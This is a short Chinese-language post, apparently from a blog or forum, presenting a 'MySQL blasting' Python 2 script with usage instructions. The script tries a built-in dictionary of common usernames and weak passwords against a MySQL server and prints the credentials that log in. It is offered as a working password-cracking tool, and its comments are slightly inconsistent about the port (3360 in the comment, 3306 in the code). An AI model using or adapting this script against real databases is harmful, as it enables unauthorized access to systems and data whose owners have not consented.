Mysql Python版本爆破小腳本,需要安裝Python插件MySQL-python.exe,可以看出代碼量很少,(注意:裡用戶名和密碼都是類似字典。用法:保存代碼為MysqlDatabaseBlasting.py,cmd切換到 MysqlDatabaseBlasting.py路徑下,並 執行 MysqlDatabaseBlasting.py即可開始破解 )
import MySQLdb #coding=gbk #目標IP mysql數據庫必須開啟3360遠程登陸端口 mysql_username = ('root','test', 'admin', 'user')#賬號字典 common_weak_password = ('','123456','test','root','admin','user')#密碼字典 success = False host = "127.0.0.1"#數據庫IP地址 port = 3306 for username in mysql_username: for password in common_weak_password: try: db = MySQLdb.connect(host, username, password) success = True if success: print username, password except Exception, e: pass